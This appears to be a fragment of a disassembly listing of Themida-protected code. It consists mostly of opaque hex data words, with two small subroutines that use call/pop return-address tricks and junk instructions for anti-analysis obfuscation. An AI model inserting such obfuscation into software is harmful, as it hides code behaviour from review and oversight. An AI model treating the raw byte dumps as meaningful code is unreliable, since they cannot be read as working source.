24448104h, 1A04h, 0C3574700h dd 0DCDAAED5h, 0FF6B20F3h, 0C4D781D3h, 0FF0DBFC7h, 0FA104985h dd 6870F07h, 29000000h, 0FA0219BDh, 7B3E907h, 0E80000h dd 5D000000h, 1AF2ED81h, 6A07FEh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 41CB3BC3h, 0DF813874h dd 63AB7862h, 719BD81h, 7D007FAh, 860F0000h, 115h, 0B319D09h dd 5E807FAh, 0CF000000h, 0AF3F7B72h, 0F19D8B5Fh, 6A07FA2Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 3EFAC352h, 0ADAE3E24h, 0E381D3h, 8B000001h dd 0FA0AE5BDh, 800F6007h, 6, 1B40C781h, 66600332h, 0B58BFB8Bh dd 7FA1C29h, 0DB0B6161h, 8D850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0CBFFF1C3h dd 0BC8B0F35h, 791BD8Bh, 0BD8B07FAh, 7FA15C9h, 116DB58Bh dd 0BD8307FAh, 7FE1944h, 2E840F00h, 0E9000000h, 57h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 88C35141h, 8EDA70B5h dd 8BDC4205h, 0FA1E65B5h, 4485C707h, 107FE19h, 0F000000h dd 0B589F3B7h, 7FA2441h, 16E9h, 91B58B00h, 0C707FA00h dd 0FE194485h, 7, 0CD8D8900h, 8D07FA17h, 0FA2EF19Dh, 0FF238107h dd 8BFFFFFEh, 0FA0009B5h, 0DB8C6607h, 0B4D9531h, 0C3F607FAh dd 7E840F04h, 29000000h, 0FA24C595h, 0A595FF07h, 6A07FA10h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0ABD9C356h, 0E850D583h, 13h, 3972F59Ah, 0FED82102h dd 6B708C20h, 0D5F6F2C3h, 503297CAh, 0E8310F52h, 6, 0AFDA7364h dd 5A5E3FDBh, 4895F58h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0F1E8A44Fh, 730BE397h dd 390E953h, 0EE810000h, 482EEC90h, 0FA8B00B0h, 71E470E6h dd 467213BEh, 0D8B60F27h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0FFC35343h, 0ABD99F92h, 6BAD583h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0E8B6C355h, 8BC38B43h, 0FA2601BDh, 4E8C107h dd 11E9h, 0D68A0B00h, 0D5A0DB22h, 0ABDB4BD4h, 493E19F5h dd 0BD89D2CCh, 7FA3105h, 0BFE2F766h, 5701BCF6h, 1565BD89h dd 0D82B07FAh, 6F1BD8Bh, 8B5007FAh, 241C89F3h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 71C35141h, 191027F5h dd 4A9158C3h, 719B5FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0C5DC34C3h, 0E8DC6972h dd 14A1BD8Bh, 95FF07FAh, 7FA1019h, 5E9h, 24AA1500h, 0B054EAh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0DEC35646h dd 0CDB5294Dh, 0F07FA1Ch, 70E6FEBFh, 8E8h, 8628DD00h, 0B0EC7376h dd 29BD8B12h, 5E07FA0Eh, 816671E4h, 3C625AE6h, 43830F61h dd 6A000002h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 4281C352h, 0F763400h, 6AD8B6h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0B7D4B1C3h, 6BAh, 15858900h, 8B07FA10h, 51006AC3h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0C1850523h, 8F0F04E8h, 0 ; --------------------------------------------------------------------------- mul dx sub si, 2ACBh sub ebx, eax push 0 push edx call sub_5C52F1 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C52F1 proc near ; CODE XREF: Themida_:005C52E9p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5C52F1 endp ; --------------------------------------------------------------------------- db 42h, 0CCh, 3Dh dd 1EEEB8EDh, 8B0F8385h, 0FA1D6DB5h, 6A5807h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5D1B2C3h dd 6819D89h, 0D82B07FAh, 16C880Fh, 7B90000h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 41B3C353h, 4163238Ch, 663640DCh, 832F1BBFh dd 0F98B00C1h, 860FD93Bh, 132h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 45C35343h, 8C660D48h, 53006AD9h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0F625925Dh, 840F04C1h, 0E6h, 22EE8166h, 6E982h, 0EBD50000h dd 32A5F084h, 10A595FFh, 6A07FAh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 346AEDC3h, 1DB4AC10h dd 51BD8B19h, 5B07FA2Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0C6C35343h, 99221C35h, 69BD8BFFh, 8107FA25h dd 590E2DDEh, 0E8C32B79h, 0Dh, 750553D1h, 3F9DD382h, 167A5511h dd 5952924h, 5E07FA34h, 8343Dh, 53860F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0E132C357h, 8629D4A3h, 89F38BA5h, 0FA2E7D85h, 28E907h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 7ACF98C3h, 22E7F1D8h, 0C08B2342h, 0C38BF08Bh dd 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0D15D0DC3h, 8166B13Eh, 0C7A6B8F6h, 0FA0DA585h dd 1FD97507h, 69BD8B77h, 8B07FA20h, 55006AC0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 6493F3BDh dd 932C795h, 0FA1CBD95h, 0E7EE8107h, 812EB708h, 0FA0719BDh dd 7D007h, 29850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 3E7EC356h, 1985FF40h dd 0BE07FA07h, 7B9196E9h, 719B5FFh, 6A07FAh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 831238C3h dd 0B95B6032h, 8B1E30AAh, 0FA1131B5h, 2DBD8907h, 0FF07FA0Dh dd 0FA101995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 8AD7B348h, 12E890h, 0C44C0000h dd 226F139Ah, 620DBD7Ah, 83A65B47h, 0F65802E6h, 6663F781h dd 5EF5546Bh, 7BD78166h, 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 89AF5AA0h, 0FA0B1985h dd 6830F07h, 8B000000h, 0FA0D4DBDh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 91BD895Fh dd 0F07FA1Dh, 0CE9FBB7h, 8E000000h, 0BC6AA5D8h, 0D0AAD96Ch dd 814DD75Ch, 0BDE1F5F6h, 4DBD8B4Eh, 8B07FA10h, 0FA352DBDh dd 0F9BD8B07h, 6A07FA0Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0AD71C351h, 0EB0586Ch dd 660ECE4Dh, 0FCE6BBEh, 68Fh, 0D0E68100h, 6A4AF2A2h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0ECF3C355h, 2BA96030h, 6E9EDh, 311F0000h, 0B85AABCAh dd 0FFF87DE9h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0FB0775Ch, 0C85h, 0C5BD8900h dd 3107FA11h, 0FA0DBDB5h, 6AC18B07h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 430EC356h dd 5C881676h, 0EB2F9C2Fh, 4, 0F1B70F00h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 0DDC35141h, 0A0F85E52h dd 0F8BF0F08h, 199858Dh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 505EBAC3h, 0AB1A5531h dd 0E860768Ah, 6, 5535E90Bh, 0C88A61C6h, 0C0A5B85Bh, 90616660h dd 5820F51h, 0BE000000h, 2F5378DFh, 2990505Fh, 0FA2DA595h dd 0F08B6607h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 6B026BC3h, 8B006AB5h, 0FA0DE5BDh dd 0CE858D07h, 6A07FE24h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 85C4C356h, 0C9D53FC1h dd 6B26C1FAh, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0DE19C356h, 683B7D8Bh dd 71975F9Fh, 0AE9h, 77EE0300h, 924BCD82h, 500AC873h, 6A240489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 5FC2C352h, 0FD135090h, 0CE27BE85h, 6A054Eh dd 0EE8h, 0A36E7500h, 33712E7Bh, 0FC4DFF8h, 0F85979A0h dd 60006A5Eh, 12E957h, 107B0000h, 0DD0F970Dh, 4D70DE3Ch dd 4D371E90h, 0A7C15D7Dh, 8C0F6059h, 0 ; --------------------------------------------------------------------------- cmc popa popa call dword ptr [ebp+7FA2BE9h] push 0 push ebp call sub_5C5890 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5890 proc near ; CODE XREF: Themida_:005C5888p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5C5890 endp ; --------------------------------------------------------------------------- dd 0F09C4245h, 11E90Dh, 0FF6B0000h, 9AF4AA85h, 54839CE3h dd 15D734FFh, 8D0AB2C7h, 0FDD7119Dh, 0D3FFF807h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4C35747h, 0FA8B6626h dd 104985FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 253DD4C3h, 7D64FBCBh, 0E933F2AEh dd 804h, 0E8h, 0ED815D00h, 7FE24D8h, 2E5D9589h, 0BD8107FAh dd 7FA0719h, 7D0h, 0F0860Fh, 0F88B0000h, 26199D8Bh, 816607FAh dd 812BF3EFh, 100E3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 8529A1E5h, 7FA0B45h, 850FDB0Bh dd 71h, 13EE8166h, 76D78133h, 8368BB3Eh, 0FE22C8BDh, 840F0007h dd 1Eh, 8519D29h, 58E907FAh, 0E9000000h, 0Eh, 86049BAh dd 6F27BAA7h, 0EAD87DD6h, 85C786C0h, 7FE22C8h, 1, 0B25BD89h dd 30E907FAh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0F3AFC353h, 8BDB0685h dd 0FA0549B5h, 0C885C707h, 7FE22h, 8D000000h, 0FA26199Dh dd 0FF238107h, 0FFFFFFEh, 1F89h, 2FBE6000h, 0E8205DA2h dd 12h, 7C5FBEF6h, 0E40604ABh, 0A39AA88h, 2DB9E47Dh, 6159A8B2h dd 16C99529h, 8C6607FAh, 50006ADBh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 2CC1407Dh, 1924844h, 0FA005985h dd 4C3F607h, 59840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 226C6FC3h, 89B2D189h dd 0FA316D8Dh, 11B50907h, 0FF07FA08h, 0FA10A595h, 358D2907h dd 5007FA14h, 11E9h, 0C5398F00h, 8F9E7A0Dh, 0A54C3C8Bh dd 7601A456h, 489A914h, 8DBD3324h, 0E907FA01h, 402h, 799ABE66h dd 0B625BE66h, 0F78100B0h, 4042C94h, 6A70E6h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6AE729C3h dd 57375BE6h, 0BD895FF5h, 7FA1051h, 0F18B71E4h, 6AD8B60Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 8EE8C352h, 10E967EBh, 0FF000000h, 9573F525h dd 0A3FCD63Ch, 388A2DC1h, 0BA947AE3h, 6, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 0D9C35646h, 8D29C38Bh dd 7FA0755h, 8B04E8C1h, 0FA2721B5h, 0E2F76607h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 6CC35141h, 0D82BFCCCh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 4CC35040h dd 58D0F50h, 0BF000000h, 7EA5445Ch, 0E9241C89h, 12h, 0FF980036h dd 0EBE16AA8h, 93706450h, 0D8D3EF53h, 0B5FFA9F0h, 7FA0719h dd 101995FFh, 0B70F07FAh, 6A00B0F7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0CA9FC355h dd 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0ADA348C3h, 9BDA77B6h, 34B4BF50h, 0B58B66F5h dd 7FA23D1h, 613C71E4h, 28C830Fh, 9D310000h, 7FA0CADh dd 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0F91FC355h, 361803FFh, 6BA9F65h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 81F9C352h, 0C38BF08Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A2C35646h, 730097A8h dd 0E8C1EDB6h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 9F59AD0Ch, 0BD349D06h dd 6060FF97h, 29CBBF0Fh, 0FA0585BDh, 0B58B6107h, 7FA2EEDh dd 0E2F76661h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0D4C35141h, 2B10C97Bh, 8358353Ah, 0BD3160B0h, 7FA1539h dd 0BE9h, 0E7C7F000h, 84301028h, 0BE4B4927h, 6AD82B61h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 2EF6C352h, 0BE37CE81h, 81523F0Dh, 23AF0DCFh dd 2B585E07h, 67880FD8h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 440CC356h dd 0F5F839A8h, 0BD8960C8h, 7FA3231h, 0AE9h, 82F96800h dd 93F0E22Fh, 61A7BCD3h, 80C941BFh, 7B90Dh, 0B58B0000h dd 7FA08CDh, 6A00C183h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0F46FC350h, 0FAC8C389h dd 0D93B14FAh, 0F0860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0E9447AC3h, 0Fh, 5E616961h dd 0C959CFCDh, 0A86AE916h, 6617482Fh, 6AD98Ch, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0E69B80C3h, 830FD7AAh, 1Bh, 14E8h, 1BDAF700h, 63F59562h dd 4B3A79F3h, 0CDB8D251h, 314ABDF9h, 0F65EF80Fh, 840F04C1h dd 64h, 20B98D89h, 8D0F07FAh, 6, 2F518D29h, 95FF07FAh dd 7FA10A5h, 5BFABF0Fh, 9E9h, 9C7E200h, 83D80CB2h, 0C32BD130h dd 2B69B58Bh, 343D07FAh, 0F000008h, 2786h, 69BD8900h, 0E907FA27h dd 2Ah, 11850F60h, 0E9000000h, 0Ch, 9EA93D9h, 0EE56AFDFh dd 773A5DECh, 61D7BF0Fh, 800FC08Bh, 6, 1D7D8D89h, 0C38B07FAh dd 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B52915C3h, 7FA2DC9h, 2EF185C7h, 57B307FAh dd 8B535697h, 0FA0305B5h, 0C08B5E07h, 0E1B58B60h, 0F07FA00h dd 28Fh, 615E5000h, 211DBD8Bh, 0BD8107FAh, 7FA0719h, 7D0h dd 51850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 84B5B4C3h, 2F858529h, 8B6607FAh dd 1985FFF2h, 6A07FA07h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 944EC351h, 1D7F0A73h dd 0FF013762h, 0FA0719B5h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 8B30DBD2h dd 0FA16E9B5h, 1995FF07h, 8907FA10h, 0FA0AE19Dh, 6A9007h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 60B014C3h, 68B0Fh, 858B0000h, 7FA2535h, 1C5AEF81h, 6A614316h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 406FC351h, 0B78F1C3h, 0BF660636h, 6060D321h dd 8C0Fh, 61F80000h, 2820Fh, 5F500000h, 53006A61h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 8F0F60B3h, 15h, 10E9h, 10A5DE00h, 0A9071F37h, 293350F0h dd 0FBB30C7Bh, 0BE61F54Ch, 6325210Ah, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 7EC35545h, 8BF1B4B0h, 6A8FEEh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 66E1FFC3h, 6E96092h, 0D2000000h, 974C2658h, 2BF98BD4h dd 0FA0F59B5h dd 6DE96107h, 6AFFFFF8h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 9431C356h, 8A0FA5DCh dd 15h, 10E9h, 0F3C6F700h, 366A9772h, 0C683C607h, 14166A77h dd 880F5209h, 6, 1539BD33h, 665F07FAh, 609DF3BFh, 2099BD29h dd 840F07FAh, 14h, 233D958Bh, 9E907FAh, 29000000h, 0BAC7CDC6h dd 8D62A347h, 61CA8B66h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0B0D9C2C3h, 0A01E2319h dd 1C298D89h, 0BF0F07FAh, 4EBFAh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 91D4C357h, 32D78166h, 99858D70h, 6A07FA01h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 8D10C357h, 5090C548h, 8F32BE66h, 55006A90h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0DF2BF3B5h dd 0FF6DBF66h, 8B66006Ah, 25CBFF1h, 6A2310h, 3515BD8Bh dd 858D07FAh, 7FE2EEFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0F7C35545h, 0C083E4F1h, 9DBD8B05h, 9007FA0Bh dd 0C40F76BEh, 52505077h, 0EE8h, 58BBB600h, 7A743B19h dd 2BE7201Fh, 50CC41F3h, 5A310F52h, 310F5F58h, 3190585Ah dd 0FA07C98Dh, 6A006A07h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 39EC357h, 0FA16C9B5h dd 6A006A07h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0D0E8C351h, 2BE995FFh, 6A07FAh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 48352AC3h, 3FE9C51Dh, 0E93A754Dh, 0Ch, 1FD8B817h, 0A01546BEh dd 278E4C0Fh, 0D7119D8Dh, 6A07FDh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8B572FC3h, 0FA0D7DBDh dd 0B70F5E07h, 6AD3FFFFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0A33FC355h, 0BD233FDAh dd 7FA1F39h, 1D259D89h, 0FE8B07FAh, 104985FFh, 6A07FAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 4592BDC3h, 0BFFE9726h, 7E7843A9h, 87BE9h, 0E800h, 815D0000h dd 0FE2EF9EDh, 18C7BE07h, 0BD810149h, 7FA0719h, 7D0h, 165860Fh dd 0B5290000h, 7FA1CB9h, 0CC59D8Bh, 5E5307FAh, 100E381h dd 0B58B0000h, 7FA1BE1h, 1E49B58Bh, 0DB0B07FAh, 0A6850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 172320C3h, 33E16C84h, 0FA0525BDh, 6BD8307h dd 7FE2Dh, 35840Fh, 89510000h, 0FA13E5B5h, 9CE95F07h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0F5CC353h, 684h, 0B1858900h, 0C707FA27h dd 0FE2D0685h, 107h, 5B9ABE00h, 60E92731h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0EBA5C355h, 55A565F4h, 0B58B9836h, 7FA16A9h, 2D0685C7h dd 7FEh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 3FB9B6C3h, 0EDFA21Dh, 5063D742h dd 2B55B58Bh, 8D5F07FAh, 0FA0CC59Dh, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 3B931896h dd 81D37B16h, 397EA7CFh, 0FF238103h, 6AFFFFFEh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 8AF4C350h, 0DD3D7CF9h, 8BF85E52h, 0FA1F75B5h, 66F88B07h dd 0C3F6DB8Ch, 3E840F04h, 0F000000h, 48Ch, 0D2BF6600h dd 0A595FF28h, 8B07FA10h, 800F90F3h, 1Dh, 7E85250h, 0FF000000h dd 0C84DB852h, 0F5FA254h, 5E931h, 78D60000h, 5A7A0536h dd 8B905058h, 0FA1F59B5h, 42DE907h, 47BF0000h, 0B0616E9Bh dd 0BDB53300h, 6007FA29h, 4850Fh, 0BF660000h, 9E8A68Eh dd 5000000h, 398761D0h, 0F7AF260Dh, 615FEF8Ah, 0BE6070E6h dd 1EDE24FFh, 4677E181h, 0E4617D0Ah, 55006A71h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 2391E3A5h dd 0B58B5316h, 7FA0E29h, 840Fh, 81660000h, 0F4A0ED7h, 6AD8B6h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0D7F7AC3h, 81605A1Ch, 0D5A89DE6h, 5D8D8950h, 6107FA23h dd 6BAF78Bh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0B817C355h, 46BE1FD8h dd 0BD03A015h, 7FA189Dh, 8E8C38Bh, 0C6000000h, 0A2610537h dd 816E94BBh, 394797CEh, 0E8C15E0Bh, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0F76666B4h dd 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0ED109B9Ah, 0ED95892Dh, 6007FA2Eh, 62D8589h dd 870F07FAh, 5, 7AF68166h, 0D82B61CFh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0DC35343h, 0F64A5071h dd 0BE71531Dh, 6880Fh, 0B50B0000h, 7FA32D1h, 241C8950h dd 0B9D8D29h, 0B5FF07FAh, 7FA0719h, 5E9h, 0C8C08C00h, 0B58B8571h dd 7FA1DBDh, 101995FFh, 850107FAh, 7FA2F5Dh, 0E6F800B0h dd 53006A70h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0C5BEBCFCh, 3171FC4Ch, 8A0Fh, 71E40000h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DAC35747h dd 7E9h, 0EA0EB700h, 0E913FCA6h, 830F613Ch, 22Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B3C35040h, 0A4B4B564h dd 2375ACBFh, 0F78B66DAh, 6AD8B60Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8CB7C352h dd 1722D79h, 6890F34h, 8B000000h, 0FA16B5BDh, 6BA07h, 0FC510000h dd 66C38B5Eh, 0E8C1F98Bh, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 5B24E14Dh dd 3EF53EADh, 351168Dh, 0FA30B9BDh, 0BF0F5F07h, 0E2F766F3h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 50C35242h dd 702604CBh, 6961DAE5h, 5FF78B52h, 9D89D82Bh, 7FA2601h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0E19872DAh, 71A91689h, 0F88B66B4h, 880FD82Bh dd 133h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0C1C35545h, 0BF0FF591h, 7B9F3h, 0BE660000h, 8B665F20h dd 0C183F9h, 6640EF81h, 0D93B096Bh, 0F5860Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 7CF474C3h, 2A9B046Eh, 2971B77Bh, 0FA29ED8Dh, 0A1BD8B07h dd 6607FA11h, 0C1F6D98Ch, 0B3840F04h, 89000000h, 0FA1659BDh dd 9BD8B07h, 0FF07FA2Bh, 0FA10A595h, 1DBD0B07h, 8107FA18h dd 3E5E80C6h, 0BD8B5B5Ah dd 7FA34D1h, 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 4BAAE2C3h, 89A9FAE1h, 0FA2BA18Dh dd 75958907h, 3D07FA25h, 834h, 54860Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0CF86AC3h, 45F8299Eh, 0ED9D8914h, 0F807FA00h, 2AE9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0BFF89367h, 6ABEDBD0h, 0C08BCCA7h, 8BF98B66h dd 6AD88BC3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0E2E9C352h, 8DC6E95Ah, 1985C7AEh dd 3307FA26h, 0E91A6341h, 0Dh, 318E0E73h, 9C8FD90Bh, 0DC5398Fh dd 6AC08B7Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 8BCEC350h, 0B1B4F00Dh, 8BD681A2h dd 817DD783h, 0FA0719BDh, 7D007h, 30850F00h, 0BF000000h dd 57583836h, 71985FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0A1A5A9C3h, 8166EBABh dd 0FF6C21DEh, 0FA0719B5h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 11F9A9EEh dd 87E9FDCFh, 0BD8B2A71h, 7FA07A5h, 51D989BFh, 1995FF4Ah dd 6A07FA10h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 3BAFC350h, 55AD6B2h, 6A9056h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 13E805C3h, 95000000h, 3A4436A9h, 1B086468h, 57171CB8h dd 0D452E3D0h, 0B58918DEh, 7FA0005h, 39B5895Fh, 8B07FA1Fh dd 0FA15B1B5h, 3D78107h, 81658525h, 0BBA12DD7h, 57006A4Bh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 13A289B5h, 8D5D1177h, 0BD890AB3h, 7FA0185h, 287DB533h dd 0B52907FAh, 7FA2495h, 1099B58Bh, 14E907FAh, 77000000h dd 7AE2C96Dh, 2BAE147Dh, 43015B88h, 0E0DE2CD3h, 8B88E366h dd 0FA239DBDh, 9D8B6007h, 7FA0F79h, 21C1B50Bh, 6E807FAh dd 67000000h, 0C6EBDFA5h, 0D9958B2Fh, 107FA00h, 0FA233585h dd 0B58B5B07h, 7FA298Dh, 51006A61h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 66EE9174h, 5F51F98Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 88C35646h dd 0B58BEAD0h, 7FA18D1h, 0FFF7CCE9h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 